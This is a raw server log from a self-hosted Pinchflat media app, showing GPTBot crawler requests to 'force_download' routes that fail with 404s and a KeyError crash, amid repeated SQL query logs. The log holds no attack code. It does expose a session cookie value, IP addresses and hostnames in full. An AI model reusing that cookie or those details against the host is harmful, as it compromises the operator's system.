AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.185"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-openai-host-hash", "152533818"}, {"x-real-ip", "74.7.227.185"} ], request_path: "/sources/31/media/141080/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLW6o9fmKoSYBFUADU7h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136145.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141080/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46410}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/31/media/141080", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-openai-host-hash" => "152533818", "x-real-ip" => "74.7.227.185" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141080/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136145.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141080/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46410}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/31/media/141080", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185" (truncated) 20:54:03.209 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:03.470 [info] GET /sources/31/media/141080 20:54:03.470 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141080", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 20:54:03.472 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1413.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 20:54:03.474 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=1137.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141080] 20:54:03.475 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=416.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 20:54:03.476 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.1ms idle=266.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7248] 20:54:03.477 [debug] QUERY OK source="settings" db=0.1ms idle=138.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:03.477 [debug] QUERY OK source="settings" db=0.0ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:03.477 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:03.478 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 20:54:03.479 [info] Sent 200 in 9ms 20:54:12.676 [info] GET /sources/30/media/141039/edit 20:54:12.676 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141039", "source_id" => "30"} Pipelines: [:browser] 20:54:12.678 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1619.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 20:54:12.679 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1621.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:12.680 [debug] QUERY OK source="settings" db=0.2ms idle=1622.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:12.681 [debug] QUERY OK source="settings" db=0.0ms idle=1323.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:12.682 [info] Sent 200 in 5ms 20:54:20.677 [info] GET /sources/31/media/141299/edit 20:54:20.678 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141299", "source_id" => "31"} Pipelines: [:browser] 20:54:20.679 [debug] QUERY OK source="media_items" db=0.6ms idle=621.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 20:54:20.680 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=622.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:20.681 [debug] QUERY OK source="settings" db=0.5ms idle=623.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:20.682 [debug] QUERY OK source="settings" db=0.1ms idle=624.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:20.683 [info] Sent 200 in 5ms 20:54:27.595 [info] GET /sources/30/media/141479/edit 20:54:27.596 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141479", "source_id" => "30"} Pipelines: [:browser] 20:54:27.597 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1539.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 20:54:27.599 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1540.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:27.599 [debug] QUERY OK source="settings" db=0.0ms idle=1541.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:27.600 [debug] QUERY OK source="settings" db=0.1ms idle=1208.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:27.601 [info] Sent 200 in 5ms 20:54:33.211 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:33.861 [info] GET /sources/30/media/141479/force_download 20:54:33.862 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=804.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:33.863 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=805.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:33.864 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:54:33.865 [error] #PID<0.136197.0> running PinchflatWeb.Endpoint (connection #PID<0.136196.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/media/141479/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141479/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136196.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141479/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46352}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/30/media/141479", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-openai-host-hash" => "152533818", "x-real-ip" => "74.7.227.185" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.136197.0>, params: %{}, path_info: ["sources", "30", "media", "141479", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.ocaff.com"}, {"referer", "https://pinchflat.ocaff.com/sources/30/media/141479"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.185"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-openai-host-hash", "152533818"}, {"x-real-ip", "74.7.227.185"} ], request_path: "/sources/30/media/141479/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLW6q5jbBFQBAOMAC-cC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136196.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141479/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46352}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/30/media/141479", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-openai-host-hash" => "152533818", "x-real-ip" => "74.7.227.185" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141479/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136196.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141479/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46352}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/30/media/141479", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", (truncated) 20:54:39.929 [info] GET /sources/30/media/141039/force_download 20:54:39.930 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=872.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:39.931 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=873.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:39.931 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:54:39.932 [error] #PID<0.136200.0> running PinchflatWeb.Endpoint (connection #PID<0.136199.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/media/141039/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141039/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136199.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141039/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46366}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/30/media/141039", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-openai-host-hash" => "152533818", "x-real-ip" => "74.7.227.185" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.136200.0>, params: %{}, path_info: ["sources", "30", "media", "141039", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.ocaff.com"}, {"referer", "https://pinchflat.ocaff.com/sources/30/media/141039"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.185"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-openai-host-hash", "152533818"}, {"x-real-ip", "74.7.227.185"} ], request_path: "/sources/30/media/141039/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLW6rQKHDDydVDMAC-ci"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136199.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141039/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 